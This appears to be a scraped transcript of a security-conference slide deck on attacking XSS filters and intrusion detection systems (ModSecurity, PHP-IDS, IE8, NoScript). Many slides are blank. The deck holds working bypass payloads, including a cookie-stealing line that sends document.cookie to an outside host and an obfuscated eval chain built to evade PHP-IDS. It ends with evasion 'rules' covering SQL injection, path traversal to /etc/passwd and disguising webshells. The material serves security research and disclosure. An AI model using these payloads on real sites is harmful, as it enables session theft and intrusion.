GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 

Fav

  • 1. Our Favorite XSS Filters/IDS and how to Attack Them Most recent version of slides can be obtained from blackhat’s website or http://p42.us/favxss/
  • 3.
  • 4.
  • 5. The Basics milk before meat?
  • 6.
  • 7.
  • 8. Filter Basics Dangerous? yes no UNTRUSTED APPLICATION
  • 9.
  • 10.
  • 11. Evasion Techniques hope you liked the milk
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
  • 24.
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 30.
  • 31.
  • 32. Unicode and XSS Only Mozilla’s 5 thousand lines of code implementation appears to be safe (maybe).
  • 33. Java’s Modified Unicode Unicode.... 1.0….. 2.0…… 3.0...3.1….. 4.0…… 5.0…. Modified Unicode
  • 34.
  • 35.
  • 36.
  • 37.
  • 38. Introducing The Filters PHP-IDS Mod_Security IE8 NoScript
  • 40.
  • 41.
  • 42.
  • 43.
  • 44. The filter will catch: <img src=&quot;x:gif&quot; onerror=&quot;alert(0)&quot;> but miss: <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;eval('al'%2b'lert(0)')&quot;> and <img src=&quot;x:gif&quot; onerror=&quot;window['al0065rt'](0)&quot;></img> ModSecurity
  • 45. The filter will catch: &quot;;document.write('<img src=http://p42.us/x.png?' %2b document.cookie %2b '>');&quot; but miss: &quot;;document.write('<img sr'%2b'c=http://p42.us/x.png?' %2b document['cookie'] %2b '>');&quot; ModSecurity
  • 46.
  • 47.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53. PHP-IDS Developing a Bypass eval(name) Injection Found! Overall Impact: 17
  • 54. PHP-IDS Developing a Bypass x=eval y=name x(y) Injection Found! Overall Impact: 12
  • 55. PHP-IDS Developing a Bypass x='ev'+'al' x=this[x] y='na'+'me' x(x(y)) Injection Found! Overall Impact: 46
  • 56. PHP-IDS Developing a Bypass $$='e' x='ev'+'al' x=this[x] y='nam'+$$ y=x(y) x(y) Injection Found! Overall Impact: 37
  • 57. PHP-IDS Developing a Bypass $$='e' x=$$+'val' z=(1)['__par'+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 62
  • 58. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' z=(1)[__+'ent__'] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 27
  • 59. PHP-IDS Developing a Bypass $$='e' __='__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 18
  • 60. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' x=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=z[x] y=x('nam'+e) x(y) Injection Found! Overall Impact: 14
  • 61. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) Injection Found! Overall Impact: 07
  • 62. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)ghi ' Injection Found! Overall Impact: 07
  • 63. PHP-IDS Developing a Bypass __='' $$=__+'e' __=__+'__par' _=$$+'val' x=1+[] z=$$+'nt__' x=x[__+z] x=x[_] y=x('nam'+$$) x(y) 'abc(def)ghi(jkl)mno(pqr)abc(def)abc(def)...' Nothing suspicious was found!
  • 64.
  • 65.
  • 66.
  • 67. XSS Filter http://blogs.technet.com/srd/archive/2008/08/19/ie-8-xss-filter-architecture-implementation.aspx http://blogs.msdn.com/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx Examining the IE8 XSS Filter by kuza55 (OWASP Australia)
  • 68.
  • 69.
  • 70.
  • 71.
  • 72.
  • 73.
  • 74. We will show the remaining 7 of our.. Top 10 reflected XSS attacks and how you can attack with them. Bypassing the Filter
  • 75.
  • 76.
  • 77.
  • 78.
  • 79.
  • 80.
  • 81.
  • 82.
  • 83.
  • 84.
  • 85.
  • 86.
  • 87.
  • 88.
  • 89.
  • 90.
  • 92.
  • 93. As any other filter, it's still possible to bypass NoScript's rules, the following attack bypassed NoScript's rules: <a z=“&”x=& onmousemove=t=Object(window.name); ({$:#0=t,z:eval(String(#0#).replace(/@/g,’’))}).z//>     This was fixed last week, have you updated noscript? : http://tinyurl.com/m4nfs9 Bypassing the Filter's Rules
  • 94. find a bypass 10 minutes before the talk! if I can't.. then.. it doesnt matter haha if I can, notify giorgio haha <<david: umm... good luck with that Eduardo>> This hasn't been fixed! Found 10m ago
  • 95. The DoS and pwn on NoScript (for bypassing)   The following example: http://victim.com/xss.php?hello= a-very-long-and-complicated-js-string &html_xss=<script>alert (&quot;pwned&quot;);</script> Will DoS NoScript, and then firefox will kill it, and then your victim will be redirected to your &quot;pwned&quot; webpage. Hacking the Filter
  • 96. NoScript wont protect websites from attacking themselves, so frames pointing to a redirect that sends to the payload wont be detected by NoScript: Example : http://tinyurl.com/l5rnyc http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&imgrefurl= http://tinyurl.com/ZWZ8Z4   and http://tinyurl.com/ZWZ8Z4 redirects to https://www.google.com/adsense/g-app-single-1.do?websiteInfoInput.uri=ZWZ8Z4&contactInput.asciiNameInput.fullName= <script> Same Origin Exception
  • 97. Tribute to the stupid IDS Thanks to pretty much every other WAF vendor out there...
  • 98.
  • 99. Stop using alert('xss') . You should now use prompt('xss') . Rule Number 1
  • 100. Dont do <script> . Do <ScRIPT x src=//0x.lv? Rule Number 2
  • 101. For blind SQL injections. Stop using ' or 1=1-- . Use ' or 2=2-- . Rule Number 3
  • 102. For SQL injections. Stop using UNION SELECT . Use UNION ALL SELECT . Rule Number 4
  • 103. Don’t do /etc/passwd . Do /foo/../etc/bar/../passwd . Rule Number 5
  • 104. Don’t use http://yourhost.com/r57.txt Use https://yourhost.com/lol.txt Rule Number 6
  • 105. Don’t call your webshell c99.php, shell.aspx or cmd.jsp Call it rofl.php . Rule Number 7
  • 106.
  • 107.
  • 108.

Notas do Editor

  1. Microsoft patched this issue, and after testing the patch, I think its pretty good.